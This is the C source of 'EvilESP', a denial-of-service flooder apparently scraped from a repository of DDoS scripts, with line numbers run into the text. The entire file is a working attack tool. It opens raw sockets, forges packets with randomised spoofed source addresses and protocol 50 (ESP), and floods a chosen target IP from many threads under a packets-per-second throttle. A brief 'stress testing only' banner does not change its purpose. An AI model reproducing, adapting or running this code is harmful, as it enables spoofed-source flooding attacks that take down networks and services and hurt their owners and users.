Path: blob/master/DDOS Scripts/L4/UDP/EvilESP1-1.c
4607 views
#include <pthread.h>1#include <unistd.h>2#include <stdio.h>3#include <stdlib.h>4#include <string.h>5#include <sys/socket.h>6#include <netinet/ip.h>7#include <netinet/udp.h>89#define MAX_PACKET_SIZE 409610#define PHI 0x9e3779b91112static unsigned long int Q[4096], c = 362436;13static unsigned int floodport;14volatile int limiter;15volatile unsigned int pps;16volatile unsigned int sleeptime = 100;17char pass[1500];18int ii;1920void init_rand(unsigned long int x)21{22int i;23Q[0] = x;24Q[1] = x + PHI;25Q[2] = x + PHI + PHI;26for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }27}28unsigned long int rand_cmwc(void)29{30unsigned long long int t, a = 18782LL;31static unsigned long int i = 4095;32unsigned long int x, r = 0xfffffffe;33i = (i + 1) & 4095;34t = a * Q[i] + c;35c = (t >> 32);36x = t + c;37if (x < c) {38x++;39c++;40}41return (Q[i] = r - x);42}43unsigned short csum (unsigned short *buf, int count)44{45register unsigned long sum = 0;46while( count > 1 ) { sum += *buf++; count -= 2; }47if(count > 0) { sum += *(unsigned char *)buf; }48while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }49return (unsigned short)(~sum);50}5152void setup_ip_header(struct iphdr *iph)53{54iph->ihl = 5;55iph->version = 4;56iph->tos = 0;57iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;58iph->id = rand();59iph->frag_off = 0;60iph->ttl = MAXTTL;61iph->protocol = IPPROTO_UDP;62iph->check = 0;63iph->saddr = inet_addr("192.168.3.100");64}6566void setup_udp_header(struct udphdr *udph)67{68udph->source = htons(500);69udph->dest = htons(500);70udph->check = 0;7172udph->len=htons(sizeof(struct udphdr) + 25);73}7475void *flood(void *par1)76{77char *td = (char *)par1;78char datagram[MAX_PACKET_SIZE];79struct iphdr *iph = (struct iphdr *)datagram;80struct udphdr *udph = (void *)iph + sizeof(struct iphdr);8182struct sockaddr_in sin;83sin.sin_family = AF_INET;84sin.sin_port = htons(17015);85sin.sin_addr.s_addr = inet_addr(td);8687int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);88if(s < 0){89fprintf(stderr, "Could not open raw socket.\n");90exit(-1);91}92memset(datagram, 0, MAX_PACKET_SIZE);93setup_ip_header(iph);9495iph->daddr = sin.sin_addr.s_addr;96iph->check = csum ((unsigned short *) datagram, iph->tot_len);9798int tmp = 1;99const int *val = &tmp;100if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){101fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");102exit(-1);103}104105init_rand(time(NULL));106register unsigned int i;107i = 0;108while(1){109110iph->protocol = 50;111iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);112iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);113iph->ttl = rand() % (255 + 1 - 0) + 0;114udph->source = htons(rand_cmwc() & 0xFFFF);115iph->check = csum ((unsigned short *) datagram, iph->tot_len);116sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));117118pps++;119if(i >= limiter)120{121i = 0;122usleep(sleeptime);123}124i++;125}126}127int main(int argc, char *argv[ ])128{129if(argc < 5){130fprintf(stderr, "EvilESP - ESP Protocol Flooder V.1.1\n");131fprintf(stderr, "Made by JiiN - Private for Cyber-Hub.pw\n\n");132fprintf(stderr, " ============================================================================\n");133fprintf(stderr, " >> For network stress testing only! <<\n");134fprintf(stderr, " >> Users are legally responsible for the illegal usage of this tool <<\n");135fprintf(stderr, " ============================================================================\n");136fprintf(stdout, "\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);137exit(-1);138}139140fprintf(stdout, "Setting up Sockets...\n");141142int num_threads = atoi(argv[2]);143int maxpps = atoi(argv[3]);144145limiter = 0;146pps = 0;147pthread_t thread[num_threads];148149int multiplier = 20;150151int i;152for(i = 0;i<num_threads;i++){153pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);154}155fprintf(stdout, "Sending packets...\n");156fprintf(stdout, "EvilESP started!\n");157for(i = 0;i<(atoi(argv[4])*multiplier);i++)158{159usleep((1000/multiplier)*1000);160if((pps*multiplier) > maxpps)161{162if(1 > limiter)163{164sleeptime+=100;165} else {166limiter--;167}168} else {169limiter++;170if(sleeptime > 25)171{172sleeptime-=25;173} else {174sleeptime = 0;175}176}177pps = 0;178}179180return 0;181}182183